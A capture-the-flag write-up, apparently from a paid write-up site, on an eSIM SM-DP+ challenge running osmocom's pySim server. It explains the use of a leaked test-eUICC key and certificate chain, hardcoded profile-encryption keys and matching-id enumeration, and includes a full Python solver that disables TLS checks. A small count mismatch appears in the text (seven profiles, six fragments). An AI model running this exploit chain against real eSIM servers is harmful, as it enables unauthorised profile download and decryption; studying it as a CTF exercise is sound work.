$ cat writeup.md…
$ cat writeup.md…
ASIS CTF Quals 2026
Task: an eSIM QR activation code leads to a GSMA SGP.22 SM-DP+ server requiring full ES9+ mutual auth with a CI-signed eUICC identity. Solution: custom Python LPA; test-eUICC key chain leaked in hidden HTML comments; hardcoded BSP keys decrypt the profiles; flag reassembled by diffing downloaded eSIM profiles.
Still got an old phone lurking in your rig?
English summary: The challenge exposes two HTTP surfaces on the same host. Port 80 serves a simple page with an ASIS logo and a QR code; port 443 (dpp.asisctf.com) is a GSMA SGP.22 eSIM SM-DP+ server (the remote side of consumer eSIM provisioning). The goal is to complete the full RSP provisioning flow as an eSIM-capable device (an LPA) and recover the flag from the downloadable eSIM profiles. Flag format: ASIS{...}.
Step 0 — semantic clue. "Old phone" is not about old-browser User-Agents: the page's QR code is the entire hint. Decoding it (parse the 29×29 module grid out of the embedded base64 SVG path rects into a bitmap, then zxingcpp) yields:
LPA:1$dpp.asisctf.com$
That is a GSMA SGP.22 eSIM activation code (LPA:1$<SM-DP+ host>$<matching-id>) with an empty matching-id. The "old phone" is the thing that has an eSIM: we must emulate an LPA client.
Server identification. dpp.asisctf.com resolves to the same IP. HTTPS is fronted by nginx proxying a Twisted/Klein app. A POST to /gsma/rsp2/es9plus/initiateAuthentication with an empty body produced a full Python traceback revealing /opt/pysim/osmo-smdpp.py — the osmocom pySim SM-DP+ reference implementation (asn1tools, DER codec, RSP ASN.1; EUICCInfo1 carries tag BF20). Line numbers in later tracebacks matched a fresh GitHub clone of osmocom/pysim byte-for-byte, so the deployed server is stock code — anything hardcoded in the public source is exploitable as-is.
PKI reconnaissance. The TLS certificate is CN=dpp.asisctf.com issued by a custom CN=rprofile Test CI (SKI f4a93f8ca68c25e1210297a178c12703e0683d59), and the DPauth certificate returned by initiateAuthentication is CN="rprofile SM-DP+ auth" with policy OID 2.23.146.1.2.1.4 — a hand-rolled PKI in the style of pysim's contrib/generate_smdpp_certs.py. The eUICC → EUM → CI chain verification in authenticateClient is real ECDSA: a forged chain (own EUM certificate with AKI set to the CI SKI, plus own eUICC certificate) dies at check_signed(eum, CI) with an uncaught cryptography.InvalidSignature → 500 traceback. A genuine CI-signed eUICC identity is mandatory; guessing one is not.
Key insight 1 — the challenge ships its own client credentials. The port-80 index.html (~35 KB, mostly the QR SVG) is littered with hidden comments and elements. Most are decoys: a revoked test identity, activation codes pointing at legacy.asisctf.com / smdp.example.net, a fake "GSMA Root CI" note, and decoy EID/ICCID strings. But one base64 blob decodes to JSON with keys eid, key_pem, cert_euicc_der_b64, cert_eum_der_b64, cert_ci_der_b64 — the real test-eUICC private key and full certificate chain (EID 89000000000000000000000000000042; the CI certificate's SKI matches the server's CI SKI exactly; EUM AKI → CI, eUICC AKI → EUM; all validity dates check out). This identity passes authenticateClient.
Key insight 2 — osmo-smdpp.py encrypts profiles with hardcoded BSP keys. In getBoundProfilePackage, the source contains a "HACK" branch: the Protected Profile Package is secured with BspInstance(b'\x00'*16, b'\x11'*16, b'\x22'*16) (s_enc = 00…, s_mac = 11…, initial MAC value = 22…). Verified empirically: the sequenceOf86 member TLVs were byte-identical across two independent sessions, proving the keys are static. With pysim's own pySim.esim.bsp.BspInstance.demac_and_decrypt (AES-CMAC MAC verification/stripping + AES-CBC with block-number-derived ICV, 0x80 00… padding) the profile decrypts without ever deriving BSP keys from the OTPK/EPCIK handshake.
Key insight 3 — matchingId is a filename oracle. The server maps ctxParams1.matchingId to upp_dir/<matchingId>.der (path traversal blocked), and a missing file is distinguishable from a present one via the error / empty profileMetadata. Profiles can be enumerated by guessing matching-ids.
1. Build a Python LPA. Set up a venv with asn1tools, cryptography, pycryptodomex, pyosmocom, and clone pysim; compile its pySim/esim/asn1/rsp/*.asn with codec='der'. All ES9+ requests go to https://dpp.asisctf.com/gsma/rsp2/es9plus/... with headers User-Agent: gsma-rsp-lpad and X-Admin-Protocol: gsma/rsp/v2.2.2, JSON bodies with base64-encoded DER values.
2. initiateAuthentication. Send {smdpAddress, euiccChallenge (16 random bytes, b64), euiccInfo1} where EUICCInfo1 is a BF20 DER carrying svn 2.2.0 and both CI-PK-id lists set to the CI SKI. The response yields transactionId, serverSigned1 (with the serverChallenge to echo), serverSignature1, euiccCiPKIdToBeUsed (b64, prefix 04 14 — confirming the CI SKI), and serverCertificate.
3. authenticateClient with the leaked identity. Build the BF38 CHOICE authenticateResponseOk containing:
EuiccSigned1 — transactionId (hex-decoded), serverAddress, the echoed serverChallenge, EUICCInfo2 (BF22), and ctxParams1 with matchingId;euiccSignature1 — ECDSA-SHA256 over the DER-encoded EuiccSigned1, converted to TR-03111 raw r||s (32+32 bytes);euiccCertificate / eumCertificate — asn1tools-decoded Certificate dicts from the leaked DER blobs.With the leaked chain this returns HTTP 200 with profileMetadata, smdpSigned2, smdpSignature2, smdpCertificate.
4. getBoundProfilePackage. Generate a fresh P-256 key for euiccOtpk, build EUICCSigned2 (transactionId + euiccOtpk, tag 5F49), and sign euiccSignature2 over DER(EUICCSigned2) || <raw 5F37 smdpSignature2 blob> as a BF21 CHOICE downloadResponseOk. The response contains the boundProfilePackage (BF36).
5. Decrypt the profile package. Parse the BPP TLVs down to sequenceOf86, split it into member TLVs, and run BspInstance(b'\x00'*16, b'\x11'*16, b'\x22'*16).demac_and_decrypt(items). Result: a 12,308-byte UPP — a SAIP ProfileElementSequence for a "GSMA Generic eUICC Test Profile" (TS48), ICCID 890000000000000000xx. No literal flag string inside.
6. Enumerate profiles. Replay the session flow with matchingId = RPROFILE0000…RPROFILE0006 (each takes a fresh initiateAuthentication transaction). All seven exist; RPROFILE0007+ are absent per the error oracle. Download and decrypt each sequenceOf86 identically → upp_RPROFILE0000.der … upp_RPROFILE0006.der.
7. Byte-diff the seven UPPs. Differences appear only at:
0x5E5 (length byte at 0x5E5, content at 0x5E6).RPROFILE0000 (stock) keeps the 12-byte "test contact" ADN value. RPROFILE0001–0006 each embed a flag fragment in that same ADN TLV, of lengths 5, 5, 5, 5, 5, 3 characters respectively — seven profiles, one chunk each, in ascending matching-id order. Concatenating the six fragments (the first one starting the flag prefix, the last closing it) reconstructs the flag.
#!/usr/bin/env python3 # Condensed solver: full ES9+ flow + hardcoded-BSP-key decryption + profile enumeration. # Requires: asn1tools, cryptography, pyosmocom + a clone of osmocom/pysim on sys.path. import json, os, re, sys, glob, base64, ssl, time, urllib.request, urllib.error import asn1tools from cryptography.hazmat.primitives.asymmetric import ec from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric.utils import decode_dss_signature from cryptography.hazmat.primitives.serialization import load_pem_private_key sys.path.insert(0, 'pysim') from osmocom.utils import b2h from osmocom.tlv import bertlv_parse_one_rawtag, bertlv_return_one_rawtlv from pySim.esim.bsp import BspInstance ASN = "" for f in sorted(glob.glob("pysim/pySim/esim/asn1/rsp/*.asn")): ASN += open(f).read() + "\n" rsp = asn1tools.compile_string(ASN, codec='der') HOST = "dpp.asisctf.com" CI_SKI = bytes.fromhex('f4a93f8ca68c25e1210297a178c12703e0683d59') # --- leaked test-eUICC identity recovered from hidden HTML comments --- d = json.load(open('extracted/10_test-euicc.json')) euicc_key = load_pem_private_key(d['key_pem'].encode(), None) EUICC_CERT = rsp.decode('Certificate', base64.b64decode(d['cert_euicc_der_b64'])) EUM_CERT = rsp.decode('Certificate', base64.b64decode(d['cert_eum_der_b64'])) def b64(b): return base64.b64encode(b).decode() def post(path, payload): req = urllib.request.Request(f"https://{HOST}{path}", data=json.dumps(payload).encode(), headers={"Content-Type": "application/json", "User-Agent": "gsma-rsp-lpad", "X-Admin-Protocol": "gsma/rsp/v2.2.2"}) ctx = ssl.create_default_context(); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE try: with urllib.request.urlopen(req, context=ctx, timeout=40) as r: return r.status, r.read() except urllib.error.HTTPError as e: return e.code, e.read() def sig(key, data): # ECDSA-SHA256 in TR-03111 raw r||s form (32+32 bytes) s = key.sign(data, ec.ECDSA(hashes.SHA256())) r, t = decode_dss_signature(s) return r.to_bytes(32, 'big') + t.to_bytes(32, 'big') def session(): ec16 = os.urandom(16) ei1 = rsp.encode('EUICCInfo1', {'svn': b'\x02\x02\x00\x00', 'euiccCiPKIdListForVerification': [CI_SKI], 'euiccCiPKIdListForSigning': [CI_SKI]}) st, body = post("/gsma/rsp2/es9plus/initiateAuthentication", {"smdpAddress": HOST, "euiccChallenge": b64(ec16), "euiccInfo1": b64(ei1)}) assert st == 200 s1 = json.loads(body) ss1 = rsp.decode('ServerSigned1', base64.b64decode(s1['serverSigned1'])) return s1['transactionId'], ss1['serverChallenge'] def auth(mid, tid, schal): es1 = {'transactionId': bytes.fromhex(tid), 'serverAddress': HOST, 'serverChallenge': schal, 'euiccInfo2': {'profileVersion': b'\x00\x00\x00', 'svn': b'\x02\x02\x00', 'euiccFirmwareVer': b'\x00\x00\x00', 'extCardResource': b'\x00', 'uiccCapability': (bytes([0b00000011]), 3), 'rspCapability': (bytes([0b00001001]), 4), 'euiccCiPKIdListForVerification': [CI_SKI], 'euiccCiPKIdListForSigning': [CI_SKI], 'ppVersion': b'\x00\x00\x00', 'sasAcreditationNumber': 'rprofile'}, 'ctxParams1': ('ctxParamsForCommonAuthentication', {'matchingId': mid, 'deviceInfo': {'tac': b'\x35\x29\x06\x11\x00\x00\x00\x00', 'deviceCapabilities': {}}})} e1b = rsp.encode('EuiccSigned1', es1) bf38 = rsp.encode('AuthenticateServerResponse', ('authenticateResponseOk', {'euiccSigned1': es1, 'euiccSignature1': sig(euicc_key, e1b), 'euiccCertificate': EUICC_CERT, 'eumCertificate': EUM_CERT})) st, body = post("/gsma/rsp2/es9plus/authenticateClient", {"transactionId": tid, "authenticateServerResponse": b64(bf38)}) if st != 200: return None r = json.loads(body) if not r.get('profileMetadata'): return None # matchingId not present return r def get_bpp(tid, resp2): ot_key = ec.generate_private_key(ec.SECP256R1()) from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat ot_pub = ot_key.public_key().public_bytes(Encoding.X962, PublicFormat.UncompressedPoint) es2 = {'transactionId': bytes.fromhex(tid), 'euiccOtpk': ot_pub} es2b = rsp.encode('EUICCSigned2', es2) smdp_sig2 = base64.b64decode(resp2['smdpSignature2']) bf21 = rsp.encode('PrepareDownloadResponse', ('downloadResponseOk', {'euiccSigned2': es2, 'euiccSignature2': sig(euicc_key, es2b + smdp_sig2)})) st, body = post("/gsma/rsp2/es9plus/getBoundProfilePackage", {"transactionId": tid, "prepareDownloadResponse": b64(bf21)}) if st != 200: return None return base64.b64decode(json.loads(body)['boundProfilePackage']) def decrypt86(bpp): # BPP -> ISD-P -> ... -> sequenceOf86, split into member TLVs, hardcode-key BSP decrypt. # osmo-smdpp.py ships the "HACK" branch: BspInstance(s_enc=00*16, s_mac=11*16, mcv=22*16) tag, _l, v, _ = bertlv_parse_one_rawtag(bpp) tag, _l, iscr, rest = bertlv_return_one_rawtlv(v) tag, _l, f87, rest = bertlv_parse_one_rawtag(rest) tag, _l, s88, rest = bertlv_parse_one_rawtag(rest) tag, _l, s87b, rest = bertlv_parse_one_rawtag(rest) tag, _l, s86, rest = bertlv_parse_one_rawtag(rest) items = [] while s86: t, l, tlv, s86 = bertlv_return_one_rawtlv(s86) items.append(tlv) bsp = BspInstance(b'\x00'*16, b'\x11'*16, b'\x22'*16) try: return bsp.demac_and_decrypt(items) except ValueError: return None if __name__ == '__main__': for i in range(0, 8): mid = "RPROFILE%04d" % i tid, schal = session() resp2 = auth(mid, tid, schal) if not resp2: print(f"{mid}: not present"); continue bpp = get_bpp(tid, resp2) upp = decrypt86(bpp) if upp is None: print(f"{mid}: demac failed"); continue open('upp_' + mid + '.der', 'wb').write(upp) # The flag is NOT one contiguous string. Diff profiles against each other: # differences live only in the ICCID bytes and one ADN-record TLV at 0x5E5. # RPROFILE0000 keeps the stock 12-byte "test contact" ADN value; each later # profile replaces it with a fragment (<FLAG_FRAGMENT_REDACTED>) of # length 5/5/5/5/5/3 in matching-id order. Concatenate in order. print(f"{mid}: size={len(upp)} adn_tlv={b2h(upp[0x5e5:0x5e6])}") time.sleep(0.3)
Flag reconstruction. Reading the ADN TLV (offset 0x5E5: length byte, content follows at 0x5E6) from each decrypted profile and concatenating fragments of length 5, 5, 5, 5, 5, 3 in RPROFILE0001…0006 order yields the flag — a leetspeak phrase on the event theme, wrapped in the standard ASIS{} delimiters.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar